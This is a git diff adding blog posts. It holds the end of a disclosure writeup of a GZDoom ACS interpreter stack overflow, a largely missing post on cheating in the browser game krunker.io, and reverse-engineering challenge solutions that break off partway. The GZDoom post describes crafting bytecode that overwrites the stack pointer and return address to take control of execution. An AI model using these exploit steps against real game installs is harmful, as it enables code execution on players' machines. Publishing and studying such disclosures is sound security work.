implementation is full of design +decisions that seem archaic nowadays. For one, scripts are compiled ahead of +time into a bytecode object, which is then stored in a map's BEHAVIOR [[https://zdoom.org/wiki/Lumps][lump]], and +finally run on a stack machine that has access to the game's state. + +ACS bytecode isn't completely unfamiliar to me; I wrote a disassembler for it a +while ago in an attempt to learn more about radare2's internals. Despite this, +the idea that the interpreter for it might allow some foul play to go by didn't +cross my mind until I was actually working with ACS on the source code level. +The language is, to say the least, hacked together. The type system is extremely +weak, and on a low level, the only type it understands is int. There's support +for strings, but they're an index into a table in the bytecode object, which can +lead to some interesting behavior. Take this valid ACS code, for example: + +#+BEGIN_SRC +script 1 ENTER { + print(s:"You picked the wrong house, foo'!"); + + // Also displays "You picked the wrong house, foo'!" + print(s:0); +} +#+END_SRC + +String constants are casted to the index at which they are located in the string +table, which means you can do math with strings - albeit a little less intuitive +than string math in Javascript. + +#+BEGIN_SRC +script 1 ENTER { + // Displays "1" (Since that's 0 + 1) + print(d:"First String" + "Second String"); +} +#+END_SRC + +There are a handful of other quirks, such as the fact that arguments can be +omitted when you invoke a function. The fragile nature of ACS made me want to +look at GZDoom's implementation to see if it would reject any code that does +things it shouldn't. What I initially had in mind was pulling something out of +the string table that doesn't exist, but when I cracked open the source code to +look at =PCD_PRINTSTRING=, I noticed something a little more sinister. + +#+BEGIN_SRC cpp :hl_lines 0 +case PCD_PRINTNUMBER: + work.AppendFormat ("%d", STACK(1)); + --sp; + break; +#+END_SRC + +Hm? It looks like the stack pointer is decremented without any bounds checking. +This is C++, though, and it's entirely possible that this is operator +overloading, so I looked at how the interpreter's stack was implemented. + +#+BEGIN_SRC cpp :hl_lines 0 +FACSStack stackobj; +int32_t *Stack = stackobj.buffer; +int &sp = stackobj.sp; +#+END_SRC + +No, it isn't operator overloading. This is bad. As an adversary who can +manipulate the bytecode in a BEHAVIOR lump, we have complete control over an +index into a buffer. Let's take a peek at =FACSStack=. + +#+BEGIN_SRC cpp :hl_lines 0 +struct FACSStack +{ + int32_t buffer[STACK_SIZE]; // STACK_SIZE is 0x1000 + int sp; + FACSStack *next; + FACSStack *prev; + static FACSStack *head; + + FACSStack(); + ~FACSStack(); +}; +#+END_SRC + +Take note that the stack pointer is adjacent to the buffer. That will be +important in the exploit. + +Let's start with a few experiments. The first thing I did was add some debug +prints to certain points in the ACS interpreter so that I could see where the +stack pointer is within the program's memory map. Now we can get our hands dirty +with ACS bytecode. At the time I was performing this research, I didn't know how +everything in the BEHAVIOR lump contributed to the final image, so I spent about +a half hour figuring out how to create a valid bytecode object by looking at +different BEHAVIOR lumps in a hex editor. What I /should/ have done was slowed +down and looked at =FBehavior::Init= in =p_acs.cpp=, but whatever, my way worked +with some trial and error. If you want to play with hand-writing ACS bytecode on +your own, you can use my exploit code as a base. Just alter the "payload" array +to contain the bytes you want to have run. + +Now, this is where the post is going to get a little confusing, since I have to +talk about two entirely different stacks. For the remainder of this whitepaper, I'll +refer to the ACS interpreter's stack as "VStack," and the GZDoom process's stack +as "SStack." + +Initially, I showed off the implementation of =PCD_PRINTNUMBER=, but something +that decrements the VStack pointer isn't desirable. Let me explain - the SStack +grows downwards on x86; that is, the SStack pointer starts at a very high +address and decreases as you push things onto the SStack. The VStack works in +the opposite direction: as you push things onto the VStack, the VStack pointer +increases. We want to traverse the SStack to the return address, which was +pushed before our script began execution, so we want an opcode that increments +the VStack pointer instead of one that decrements it. Fortunately, this isn't +difficult to find. + +#+BEGIN_SRC cpp :hl_lines 0 +case PCD_PUSHBYTE: + PushToStack (*(uint8_t *)pc); + pc = (int *)((uint8_t *)pc + 1); + break; +#+END_SRC + +Where =PushToStack= is a macro defined as: + +#+BEGIN_SRC cpp :hl_lines 0 +#define PushToStack(a) (Stack[sp++] = (a)) +#+END_SRC + +So the exploit /will/ overwrite the locals in the interpreter's stack frame, but +there's only really one variable we have to worry about borking, which I'll talk +about in a little bit. Let's jump in and craft a BEHAVIOR lump which calls +=PUSHBYTE= a bunch of times. + +#+CAPTION: A screenshot of my terminal showing an abrupt end to the debug prints I added for inspecting the absolute memory addresses of SStack and VStack. +[[./debug-prints.png]] + +We seem to end prematurely, which is because we hit the stack pointer. We will +have to modify our exploit to step over it somehow, which we can do by +overwriting the stack pointer to a value which points beyond it. Notice, +however, that =PUSHBYTE= increments the stack pointer by a whole four bytes. +When we push a byte, we're actually pushing a 4-byte integer with the high bytes +all set to 0, so we can't overwrite the stack pointer one "byte" at a time. +Fortunately, there is another ACS opcode, =PCD_PUSHNUMBER=, which pushes a full +4-byte integer. + +With some fiddling in GDB, we can find that the distance between the stack +buffer and where the return address is 4122 bytes. So we actually kill two birds +with one stone by smashing the stack pointer - the offset to the return address +is small enough that the desired stack pointer value fits into a 4 byte word. As +soon as we overwrite the stack pointer, we're at the return address. I suppose +maybe we killed three birds with one stone here, since we jumped over the stack +canary, too. Now we're at the fun part and can overwrite the return pointer with +another call or two to =PCD_PUSHNUMBER=. My exploit code writes +=0xdeadbeefcafebabe=, for the reason that it's recognizable in a stacktrace, but +theoretically you could overwrite the least significant bytes of the return +address and jump somewhere in GZDoom's =.text= segment, bypassing ASLR. + +We have complete control over the instruction pointer. Also, while I was +disclosing this to the development team, we discovered that vanilla Hexen has +this same arbitrary code execution vulnerability. No proof-of-concept yet. + +#+CAPTION: One of my posts in an internal discussion on the GZDoom forums regarding the same exploit existing in the vanilla Hexen code. +[[./vanilla-hexen-vulnerability.png]] diff --git a/haunt/posts/browser-games-aren-t-an-easy-target.org b/haunt/posts/browser-games-aren-t-an-easy-target.org new file mode 100644 index 0000000..37c0d74 --- /dev/null +++ b/haunt/posts/browser-games-aren-t-an-easy-target.org @@ -0,0 +1,654 @@ +#+TITLE: Browser Games Aren't an Easy Target +#+DATE: <2020-01-10 Fri 18:39> +#+TAGS: writeup programming reverse-engineering video-games game-hacking javascript + +If you're about my age and had a similarly dull upbringing, you probably also +have memories of playing video games behind a teacher's back whenever class +involved going to some sort of "computer lab." Flash games were the thing when I +was in elementary school, and when I was in middle school, I'd bring Quake with +me on a flash drive. By the time I was in high school, I'd realized that these +opportunities were better spent getting a head start on homework for other +classes, but I did have a few friends who still passed the time playing video +games. Rather than Flash games or Quake, though, these were browser games using +the new-fangled HTML5 canvas. I'd practically forgotten these games existed +until someone from my capture-the-flag team mentioned "krunker.io". [[http://iogames.space/][Apparently]] +it's one of the more popular ones. It got me thinking about how I'd go about +writing cheats for a game in the browser. Writing cheats for CS:GO was a breeze, +so why would this be any harder? I had some time to spare over winter break, so +I decided to give it a go and see what kind of damage I could do. + +* Reconnaissance + +[[https://mitmproxy.org/][mitmproxy]] was pretty much the only tool I used in this project. The first thing +I did was hook my browser up to it and load the game to see what kinds of +requests it made.[fn:1] + +[[./mitmproxy-initial.png]] + +I've truncated it here because the flows that came afterwards were just assets. +Right off the bat, we're learning quite a bit about the game's infrastructure. +Namely that it has three parts: + +1. 'krunker.io', the URL you type into your browser, which is where the code is. +2. 'assets.krunker.io', for serving up textures and models. +3. 'matchmaker.krunker.io', which appears to be some sort of REST API for + finding a game. + +I'm sure that reversing the Matchmaking API would be fun, but there's more fun +to be had in messing with the code. + +** Code + +We can see from the flow that the following libraries are loaded: + +- 'jquery-3.2.1.min.js' +- 'jquery-ui.js' +- 'howler.min.js' +- 'Tween.min.js' +- 'nipplejs.min.js' +- 'zip.js' +- 'zip-ext.js' + +We all know what jQuery is. After consulting the all-mighty search engine of the +interwebs, I figured out that [[https://howlerjs.com/][howler.js]] is an audio library, that [[https://github.com/tweenjs/tween.js/][tween.js]] is a +library for animations, and that [[https://yoannmoi.net/nipplejs/][nippleJS]] is a virtual joystick for mobile +devices.[fn:2] I was tripped up by 'zip.js' and 'zip-ext.js' initially, thinking +that these are where the code is, but it didn't take long to realize that these +constitute the [[https://gildas-lormeau.github.io/zip.js/][zip.js]] library for working with ZIP files. Well, if the game code +isn't in any of those files, then it has to be inlined in a = +#+END_EXPORT + +... + +Even if your new "Anti Cheat" was this :) + +#+BEGIN_EXPORT html +
+ +
+#+END_EXPORT + +----- + +I'm inevitably going to get flack for cheating in a video game. Before you write +me an email, understand that I really don't care. I have a lot more fun reverse +engineering games and writing cheats for them than I do playing them. If it +makes you feel any better, the only time these cheats see any use is when I'm +demonstrating them. Peace out. + +[fn:1] I didn't notice the request for '/textures/recticle.png' until I was editing this. Sheesh, that's an unfortunate typo. +[fn:2] Given that the author is a self-proclaimed "JavaScript and NodeJS developer", I'm not particularly surprised by the embarrassingly childish name. Go ahead, bud. Put that on your CV. +[fn:4] Identifiers like ='VuFlFKJOHFGfinUeccOKbaQQPyhjvfYD'= are pretty common in the code. I suspect these are the high-stakes variables that people like me would be grepping for. + +# ** Matchmaking + +# GET https://matchmaker.krunker.io/generate-token +# referer/origin: https://krunker.io + +# > Response with +# { +# "input": "[TOKEN]" +# } + + +# GET https://matchmaker.krunker.io/ping-list?hostname=krunker.io +# referer/origin: https://krunker.io + +# > Response with +# { +# "[server-name]": "[address]" +# } + +# GET https://matchmaker.krunker.io/seek-game +# referer/origin: https://krunker.io +# GET PARAMS: hostname=krunker.io, region=[REGION], autoChangeGame=false, validationToken=[TOKEN], dataQuery={"v":"Q43rG"]} + +# > Response with +# { +# "changeReason": null, +# "clientID": "feb0c9f1-128a-4993-a381-bbf7a56318da", +# "gameId": "NY:dvn7x", +# "host": "[address]", +# "port": "[port]" +# } + +# GET https://matchmaker.krunker.io/game-info?game=[id] +# referer/origin: https://krunker.io + +# > Response with info about the game. diff --git a/haunt/posts/challenges-re-writeups-1.org b/haunt/posts/challenges-re-writeups-1.org new file mode 100644 index 0000000..ec32560 --- /dev/null +++ b/haunt/posts/challenges-re-writeups-1.org @@ -0,0 +1,1238 @@ +#+TITLE: Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11) +#+DATE: <2019-03-10 Sun 00:00> +#+TAGS: writeup reverse-engineering arm x86 + +As mentioned in the (now deleted) post I wrote describing my plans for 2019, one +of my goals this year is to get through at least 50 of the exercises on Dennis +Yurichev's [[https://challenges.re/][challenges.re]]. I've decided to document my progress in the form of +writeups for the challenges I complete, batched in sets of ten exercises. For +each challenge, I'll try to explain the intuitions that brought me closer to +answering the recurring question from Yurichev, "[w]hat does this code do?" + +* Challenge #2 + +In nearly all of the challenges available on the site, we're given equivalent +disassembly listings of a function, =f=, as generated by different compilers on +different processor architectures, and we're asked to describe what the code +does. For now, I've decided to take it easy and only pay attention to the +disassemblies for GCC on x86, as that's what I've done the most work with. We +aren't given a target operating system, but I think it's reasonable to assume +that the x86 code uses the [[https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl][cdecl calling convention]]. + +Although I stayed within my comfort zone in terms of instruction set +architecture, I refrained from my usual habit of converting the disassembly +listing to AT&T syntax for once. + +#+BEGIN_EXPORT html +
+ +
+#+END_EXPORT + +Below is a rough translation of the disassembly listing to C. My process is +relatively unchanged from the workflow I described in an [[http://jakob.space/blog/decompilation-by-hand.html][older post]]. + +#+BEGIN_SRC c :hl_lines 0 +unsigned f(unsigned a) +{ + // mov eax,DWORD PTR [esp+0x4] + // bswap eax + a = ((a & 0xff) << 24) + | ((a & 0xff00) << 8) + | ((a & 0xff0000) >> 8) + | ((a & 0xff000000) >> 24); + + // mov edx,eax + // and eax,0xf0f0f0f + // and edx,0xf0f0f0f0 + // shr edx,0x4 + // shl eax,0x4 + // or eax,edx + a = ((a & 0xf0f0f0f) << 4) | ((a & 0xf0f0f0f0) >> 4); + + // mov edx,eax + // and eax,0x33333333 + // and edx,0xcccccccc + // shr edx,0x2 + // shl eax,0x2 + // or eax,edx + a = ((a & 0x33333333) << 2) | ((a & 0xcccccccc) >> 2); + + // and eax,0x55555555 + // and edx,0xaaaaaaaa + // add eax,eax + // shr edx,1 + // or eax,edx + a = ((a & 0x55555555) << 1) | ((a & 0xaaaaaaaa) >> 1); + + // ret + return a; +} +#+END_SRC + +I think it should make sense that =add eax,eax= is mathematically equivalent to +=imul eax, 2=, but it takes another step to see that it's [[https://math.stackexchange.com/questions/1610667/why-shifting-left-1-bit-is-the-same-as-multiply-the-number-by-2][equivalent]] to =shl eax,1=, +which is represented in the C code as =<< 1=. This isn't terribly complicated, but +it's an optimization detail that some might not be familiar with. =bswap= is an +instruction I was unfamiliar with, so I consulted my [[https://c9x.me/x86/html/file_module_x86_id_21.html][favorite x86 reference]]. It +converts the endianness of the word in the register. If you don't know what that +means, I'd suggest you read the page in the ISA reference. + +The code seems nonsensical at first, but we can compile it and inspect the +output given some test values. + +#+BEGIN_SRC c :hl_lines 0 +#include + +void main(void) +{ + unsigned i; + + for (i = 0; i <= 256; i++) { + printf("%010u %08x\n", i, i); + printf("%010u %08x\n", f(i), f(i)); + printf("\n"); + } +} +#+END_SRC + +Which produces: + +#+BEGIN_SRC +0000000000 00000000 +0000000000 00000000 + +0000000001 00000001 +2147483648 80000000 + +0000000002 00000002 +1073741824 40000000 + +0000000003 00000003 +3221225472 c0000000 + +0000000004 00000004 +0536870912 20000000 +... +#+END_SRC + +What's happening might not be immediately obvious, but there's a pattern in the +column of input/output represented in hexadecimal. Let's have a look at the +binary representations of a few pairs: + +#+BEGIN_SRC python +bin(0x00000001) # --> '0b00000000000000000000000000000001' +bin(0x80000000) # --> '0b10000000000000000000000000000000' + +bin(0x00000003) # --> '0b00000000000000000000000000000011' +bin(0xc0000000) # --> '0b11000000000000000000000000000000' + +# ... + +bin(0x0000004d) # --> '0b00000000000000000000000001001101' +bin(0xb2000000) # --> '0b10110010000000000000000000000000' +#+END_SRC + +My answer to the question is that =f= reverses the bits of the word it is given. + +* Challenge #3 + +This time, we're given an array of 64 32-bit integers and a hint that "[t]he +algorithm is well-known, but I've changed [the] constant so it wouldn't be +googleable." + +#+BEGIN_SRC c :hl_lines 0 +int f(unsigned n) +{ + unsigned a, b; + + // mov edx, edi + // shr edx + // or edx, edi + // mov eax, edx + a = b = (n >> 1) | n; + + // shr eax, 2 + // or eax, edx + // mov edx, eax + a = b = (a >> 2) | b; + + // shr edx, 4 + // or edx, eax + // mov eax, edx + a = b = (b >> 4) | a; + + // shr eax, 8 + // or eax, edx + // mov edx, eax + a = b = (a >> 8) | b; + + // shr edx, 16 + // or edx, eax + b = (b >> 16) | a; + + // imul eax, edx, 79355661 ; 0x4badf0d + // shr eax, 26 + a = (b * 0x4badf0d) >> 26; + + // mov eax, DWORD PTR v[0+rax*4] + // ret + return v[a]; +} +#+END_SRC + +The first thing that stood out to me was the presence of =-1= in the array of +integers. Testing from =0= to =UINT_MAX=, the only =n= that returns =-1= is =0=. +Interesting. It's also worth noting that the array contains every integer from +0, 31, so this function is using /some rule/ to map the input space onto [0, 31]. + +If we inspect the values of =f= for test values from =0= to =UINT_MAX=: + +#+BEGIN_SRC :hl_lines 0 + f(1) = 31 + f(2) = 30 + f(3) = 30 + f(4) = 29 + f(5) = 29 + f(6) = 29 + f(7) = 29 + f(8) = 28 + f(9) = 28 +f(10) = 28 +f(11) = 28 +f(12) = 28 +f(13) = 28 +f(14) = 28 +f(15) = 28 +f(16) = 27 +f(17) = 27 +f(18) = 27 +f(19) = 27 +f(20) = 27 +f(21) = 27 +f(22) = 27 +f(23) = 27 +f(24) = 27 +f(25) = 27 +f(26) = 27 +f(27) = 27 +f(28) = 27 +f(29) = 27 +f(30) = 27 +f(31) = 27 +#+END_SRC + +There's a pattern of exponential growth here -- every result occurs twice as +frequently as the previous result. Mathematically, this is \(31 - [log_2(n)]\) +where the brackets represent the Greatest Integer Function (\(f(x)\) returning +the largest integer less than or equal to \(x\)). This can be verified by +comparing the result of =f= to the following function for some test values: + +#+BEGIN_SRC c :hl_lines 0 +int my_f(unsigned n) +{ + return 31 - ((int) (log(n) / log(2))); +} +#+END_SRC + +* Challenge #4 + +This time around we're given an additional question to answer: "Some versions +have the =0x1010101= constant, some do not. Why?" I decided that I'd reverse the +x86 disassembly first, and then compare it to the other architectures. + +#+BEGIN_SRC c :hl_lines 0 +unsigned f(unsigned a) +{ + // mov edx,edi + // shr edx,1 + // and edx,0x55555555 + // sub edi,edx + a -= ((a >> 1) & 0x55555555); + + // mov eax,edi + // shr edi,0x2 + // and eax,0x33333333 + // and edi,0x33333333 + // add edi,eax + a = (a & 0x33333333) + ((a >> 2) & 0x33333333); + + // mov eax,edi + // shr eax,0x4 + // add eax,edi + // and eax,0xf0f0f0f + // imul eax,eax,0x1010101 + // shr eax,0x18 + // ret + return (((a + (a >> 4)) & 0xf0f0f0f) * 0x1010101) >> 0x18 +} +#+END_SRC + +The past few challenges have shown us that a good way of reversing these +bit-twiddling functions is to test a few input values and look at the binary +representations of the input and output values. + +#+BEGIN_SRC + In: 00000000 +Out: 0 + + In: 00000001 +Out: 1 + + In: 00000010 +Out: 1 + + In: 00000011 +Out: 2 + +... + + In: 00001100 +Out: 2 + + In: 00001101 +Out: 3 + + In: 00001110 +Out: 3 + + In: 00001111 +Out: 4 +#+END_SRC + +It doesn't take much effort to see that the function is counting the number of +bits set in the input. This was particularly interesting to me as I was asked to +derive this algorithm for a past job interview (though I wasn't able to in the +time given). + +This falls apart for numbers larger than =0xff=, however. It returns the number of +bits plus some constant that changes depending on which bits in the higher bytes +are set. I'll assume that =f= is only meant to be called with 8-bit integers. + +With that, we can move onto the second question. The disassemblies for x86, +ARM64, and Thumb have the =0x1010101= constant, while the disassemblies for ARM +and MIPS do not. + +Returning to the strategy of inspecting binary representations: + +#+BEGIN_SRC +00000000 00000000 00000000 00000000 +00000000 00000000 00000000 00000000 + +00000000 00000000 00000000 00000001 +00000001 00000001 00000001 00000001 + +00000000 00000000 00000000 00000010 +00000010 00000010 00000010 00000010 + +... + +00000000 00000000 00000000 00010000 +00010000 00010000 00010000 00010000 + +00000000 00000000 00000000 00010001 +00010001 00010001 00010001 00010001 + +00000000 00000000 00000000 00010010 +00010010 00010010 00010010 00010010 + +... + +00000000 00000000 00000000 11111101 +11111101 11111101 11111101 11111101 + +00000000 00000000 00000000 11111110 +11111110 11111110 11111110 11111110 + +00000000 00000000 00000000 11111111 +11111111 11111111 11111111 11111111 +#+END_SRC + +It would appear that multiplying a 32-bit integer by =0x1010101= propagates the +low byte to the three bytes above it. This makes sense when you notice that the +multiplication is paired with a =shr= of =0x18= -- moving the highest byte into the +lowest byte. + +Though, this doesn't really answer the question. What difference is there +between the architectures that use the =0x1010101= and the architectures that +don't? ARM and MIPS still do a shift by =0x18=, so what's going on? + +Looking at the ARM example, the instructions around the shift are: + +#+BEGIN_SRC asm :hl_lines 0 +ADD r0,r0,r0,LSL #16 +ADD r0,r0,r0,LSL #8 +LSR r0,r0,#24 +#+END_SRC + +For MIPS, it looks like: + +#+BEGIN_SRC asm :hl_lines 0 +sll $3,$2,8 +addu $2,$3,$2 +sll $3,$2,16 +addu $2,$2,$3 +j $31 +srl $2,$2,24 +#+END_SRC + +Both of these (humor me, I know the orders are different) are equivalent to: + +#+BEGIN_SRC c :hl_lines 0 +a = (a << 8) + a; +a = (a << 16) + a; +a >> 24; +#+END_SRC + +And, with some test values, we can see that this is equivalent to multiplication +by =0x1010101= and shifting by 24. + +#+BEGIN_SRC c :hl_lines 0 +unsigned a(unsigned n) +{ + n = (n << 8) + n; + n = (n << 16) + n; + return n >> 24; +} + +unsigned b(unsigned n) +{ + return (n * 0x1010101) >> 24; +} + +void main(void) +{ + for (unsigned i = 0; i < UINT_MAX; i++) { + if (a(i) != b(i)) { + printf("%u\n", i); + } + } +} +#+END_SRC + +I suspect the reason it doesn't show up in the ARM or MIPS disassemblies is due +to the fixed-width instruction encoding. The compiler likely decided it would be +less efficient to work with the =0x1010101= constant than to break it up into a +pair of shifts and additions. + +* Challenge #5 + +This is the first challenge we're given that has loops and conditionals, as +indicated by the telltale labels starting with ".L". Another initial observation +is that the first instruction in =f= operates on =%rsi=, and the third operates on +=%rcx=, so it's very likely that this function has four parameters. + +Translation to C is more involved than it was with the previous challenges, but +it is valuable as it makes the purpose of =f= very clear. In lieu of an analysis +of inputs and outputs, I'll provide a few notes on the process of translation. +First, =cmp= gave me a bit of trouble as I've been out of practice for some time +and the difference between AT&T and Intel syntax threw me for a loop. +Fortunately, the [[https://en.wikibooks.org/wiki/X86_Assembly/Control_Flow#Comparison_Instructions][wikibooks]] for x86 assembly covers this in detail. In AT&T +syntax, the order is =cmp subtrahend, minuend=, while in Intel syntax, the order +is =cmp minuend, subtrahend=. The subtrahend is subtracted from the minuend, so, +in Intel syntax, =cmp rcx, rsi; ja .L10= will jump if =%rcx= is greater than =%rsi=. + +Looking further into the function, there is some dereferencing with =BYTE PTR=, +which tipped me off that this was probably a function operating on a string. + +There's a curious =push rbx=, followed by a =pop rbx= before the =ret=. I ignored this +initially, taking it to be register preservation. It was. An intuition of what's +worth ignoring is valuable in reverse engineering. + +Upon reaching =.L16=, there are a lot of registers in use. It helped to look at +each register in isolation and see how they were used. For example, =%r10= is used +in the following instructions: =xor r10d, r10d=, =add r10, 1=, =lea rax, [rdi+r10]=, +and =cmp r10, r11=. This is very typical of a for-loop counter. =%r9= on the other +hand only shows up in two instructions: =mov r9d, 1=, and =cmovne r8d, r9d=. =%r9= is +just used as a source of 1 for =cmovne=, since there are no encodings for =cmovne= +that have an immediate source. + +=cmovne= was unfamiliar to me, so I did look it up in my favorite [[https://c9x.me/x86/html/file_module_x86_id_34.html][x86 reference]]. +It's a conditional move. =movz= was similarly unfamiliar. It simply loads =%bl= with +the source byte and zeroes out the higher portions of the register. + +#+BEGIN_SRC c :hl_lines 0 +char *f(char *a, unsigned b, char *c, unsigned d) +{ + // cmp rcx, rsi + // ja .L10 + if (d >= b) { + // .L10: + // xor eax, eax + // ret + return NULL; + } + + + // sub rsi, rcx + // add rsi, 1 + // mov r11, rsi + b = b - d + 1; + + // je .L10 + if (b == 0) { + // .L10: + // xor eax, eax + // ret + return NULL; + } + + // test rcx, rcx + // jne .L16 + // mov rax, rdi + // ret + if (d == 0) { + return a; + } + + // .L16: + // push rbx + // xor r10d, r10d + // mov r9d, 1 + // ... + // cmp r10, r11 + // jne .L4 + for (int i = 0; i != b; i++) { + // xor r8d, r8d + unsigned ret = 0; + + // .L4: + // lea rax, [rdi+r10] + // xor esi, esi + // ... + // add rsi, 1 + // cmp rsi, rcx + // jne .L8 + for (int j = 0; j != d; j++) { + // movzx ebx, BYTE PTR [rdx+rsi] + // cmp BYTE PTR [rax+rsi], bl + // cmovne r8d, r9d + if (a[i] != c[j]) { + ret = 1; + } + } + + // test r8d, r8d + // je .L12 + if (!ret) { + // .L12: + // pop rbx + // ret + return a + i; + } + } + + // xor eax, eax + // pop rbx + // ret + return NULL; +} +#+END_SRC + +The variable names I chose are pretty opaque, but if you stare at this long +enough, it should be pretty clear that =f= returns the offset of =c= in =a=. =b= and =d= +are just the lengths of =a= and =c= respectively. + +* Challenge #6 + +An additional hint given for this exercise is that, "[t]his is one of the +simplest exercises I made, but still this code can be served as useful library +function and is certainly used in many modern real-world applications." I'll +leave the relative addresses in my annotations of the disassembly, as it appears +to be PIC. + +For the sake of showing the mapping between assembly instructions and C code, +I'll first give a translation that uses =goto=, followed by a cleaned up version. + +#+BEGIN_SRC c +// 0: push rbp +// 1: mov rbp,rsp +// 4: mov QWORD PTR [rbp-0x8],rdi +// 8: mov QWORD PTR [rbp-0x10],rsi +int f(char *a, char *b) +{ +_start: + // c: mov rax,QWORD PTR [rbp-0x8] + // 10: movzx eax,BYTE PTR [rax] + // 13: movsx dx,al + // 17: mov rax,QWORD PTR [rbp-0x10] + // 1b: mov WORD PTR [rax],dx + *b = *a; + + // 1e: mov rax,QWORD PTR [rbp-0x10] + // 22: movzx eax,WORD PTR [rax] + // 25: test ax,ax + // 28: jne 2c + // 2a: jmp 38 + if (*a & 0xffff != 0) { + // 2c: add QWORD PTR [rbp-0x8],0x1 + // 31: add QWORD PTR [rbp-0x10],0x2 + // 36: jmp c + a++; + b++; + goto _start; + } + + // 38: pop rbp + // 39: ret +} +#+END_SRC + +#+BEGIN_SRC c +int f(char *a, char *b) +{ + while (*a != '\0') { + *b++ = *a++; + } +} +#+END_SRC + +Cool. Yurichev wasn't lying, this is a damn simple exercise, but it is something +that's used in nearly every C program. It's =strcpy=! + +* Challenge #7 + +This exercise gives the same hint as last time, and similarly uses address +offsets instead of symbols. + +Control flow isn't as initially obvious as some of the past exercises, but the +first instruction is a pretty good tell that this function takes a =char *= as a +parameter, and the =test dl,dl= was a good tell that the control flow depends on +the individual characters in that parameter. The =0x41= in that ==lea +esi,[rdx-0x41]= instruction stood out to me, as =0x41= is 'A' in ASCII, and the +=0x20= in the =add edx,0x20= was also a big clue, as ='a' - 'A'= is =0x20=. + +#+BEGIN_SRC c +void f(char *a) +{ + char *cur; + + // 0: movzx edx,BYTE PTR [rdi] + // 3: mov rax,rdi + // 6: mov rcx,rdi + // 9: test dl,dl + // b: je 29 + // 29: repz ret + if (*a == '\0') + return; + + // 6: mov rcx,rdi + cur = a; + + // 25: test dl,dl + // 27: jne 10 + while (*cur != '\0') { + // 10: lea esi,[rdx-0x41] + // 13: cmp sil,0x19 + // 17: ja 1e + // 19: add edx,0x20 + // 1c: mov BYTE PTR [rcx],dl + if (*cur - 0x41 <= 0x19) + *cur += 0x20; + + // 1e: add rcx,0x1 + // 22: movzx edx,BYTE PTR [rcx] + cur++; + } + + // 29: repz ret +} +#+END_SRC + +Just from the tells outlined in the previous paragraph, I don't even need to run +=f= to know that it converts =a= to lowercase, albeit only capable of transforming +capital ASCII characters (producing garbage for, say, a space character). + +* Challenge #8 + +The hint we're given this time is, "[t]his is one of the busiest algorithms +under the hood, though, usually hidden from programmers. It implements one of +the most popular algorithms in computer science. It features recursion and a +callback function." + +In preparation for an exercise that's would likely be more difficult than the +past few, I did a couple quick perusals to get a basic idea of the control flow, +the parameters, and the return values. The =mov rbp,rdx= early on indicates that +there are at least three parameters. + +There's a =push rbp= instruction, but [[https://en.wikipedia.org/wiki/Function_prologue][explicit creation of a stack frame]]. There +are also =push r12= and =push rbx= instructions. These all occur at the beginning of +the function, so we see some register preservation and an indication that these +are the registers that are going to be used in the code. + +I find that a lot of reverse engineering involves getting good footing, so +this is the information you want when starting out. + +What I normally try to find out next is whether the parameters and return type +are integers or pointers: =mov rsi,QWORD PTR [rbx]=, after =%rsi= was moved into +=%rbx= is a good tell that the second parameter is a pointer, likely to an array +of pointer as it's dereferenced as =QWORD PTR=, and the =call r12= tells me that the +first parameter is the callback that was mentioned in the hint. The =js 40= after +testing the callback's return value tells me that its return value is signed -- +probably an int, not a pointer -- and the pair of =mov rsi,QWORD PTR [rbx]= and +=mov rdi,rbp= before the call indicate that it takes two parameters. + +#+BEGIN_SRC c +void *f(int (*a)(void *, int), void **b, int c) +{ + int ret; + // 0: push r12 + // 2: test rsi,rsi + // ... + // 10: je 32 + if (b == 0) { + // 32: pop rbx + // 33: pop rbp + // 34: xor eax,eax + // 36: pop r12 + // 38: ret + return NULL; + } + + // r12 <- a + // rbx <- b + // rbp <- c + + while (1) { + // (This code path is also duplicated at 49-54. The branch that + // contains the duplicated code has been omitted, as the same + // effect arises from this loop continuing to iterate. + // + // 18: mov rsi,QWORD PTR [rbx] + // 1b: mov rdi,rbp + // 1e: call r12 + ret = a(*b, c); + + // 21: test eax,eax + // 23: je 56 + if (ret == 0) { + // 56: mov rax,rbx + // 59: pop rbx + // 5a: pop rbp + // 5b: pop r12 + // 5d: ret + return b; + } + + // 25: js 40 + else if (ret < 0) { + // 40: mov rbx,QWORD PTR [rbx+0x10] + b = b[4]; + + // 44: test rbx,rbx + // 47: je 32 + if (b == NULL) { + // 32: pop rbx + // 33: pop rbp + // 34: xor eax,eax + // 36: pop r12 + // 38: ret + return NULL; + } + } + + else { + // 27: mov rbx,QWORD PTR [rbx+0x18] + b = b[6]; + + // 2b: test rbx,rbx + // 30: jne 18 + if (b == NULL) { + // 32: pop rbx + // 33: pop rbp + // 34: xor eax,eax + // 36: pop r12 + // 38: ret + return NULL; + } + } + } +} +#+END_SRC + +In deriving meaning from this, I have a bit of an advantage; I've just recently +implemented this exact algorithm for my university's computer systems principle +course. This is the search function for a binary search tree, which takes an +arbitrary comparison function, =a=,, and returns the first node for which =a= +returns 0. The function returns =NULL= if the item is not in the tree. =c= is some +sort of "data" parameter for the callback function, hence why it isn't used in +the algorithm. + +=b= is probably a pointer to a struct looking something like the following: + +#+BEGIN_SRC c +struct tree_node { + char data[0x10]; + struct tree_node *left; + struct tree_node *right; +} +#+END_SRC + +as =QWORD PTR [rbx+0x10]= is followed when =a= returns something less than 0 +(represented in the struct as =left=), and =QWORD PTR [rbx+0x18]= is followed when =a= +returns something greater than 0 - (represented in the struct as =right=). + +This exercise is a little unusual. The hint mentions recursion, but this +algorithm is entirely iterative. Perhaps it was implemented recursively in C, +and the compiler performed some sort of tail-call optimization? I honestly have +no idea. + +* Challenge #9 + +The hint we're given this time is, "[n]ow that's easy." I certainly hope it is. + +This is the first challenge we're given that uses libc. It's also the first +challenge in which we see the compiler using [[https://en.wikipedia.org/wiki/Switch_statement#Compilation][binary search]] to optimize a +conditional with more than one branch. I tend to write these out as =switch= +statements whenever I see them, but it's perfectly reasonable for a compiler to +optimize an =if= in the same way. + +#+BEGIN_SRC c +#include +#include + +int f(char a) +{ + // sub rsp, 8 + // movzx eax, BYTE PTR [rdi] + switch (a) { + // cmp al, 89 + // je .L3 + case 'Y': + // cmp al, 121 + // jne .L2 + case 'y': + // .L3: + // mov eax, 1 + // add rsp, 8 + // ret + return 1; + + // jle .L21 + // ... + // .L21: + // cmp al, 78 + // je .L6 + case 'N': + // ... + // cmp al, 110 + // je .L6 + case 'n': + // .L6: + // xor eax, eax + // add rsp, 8 + // ret + return 0; + + default: + // .L2: + // mov edi, OFFSET FLAT:.LC0 + // call puts + // xor edi, 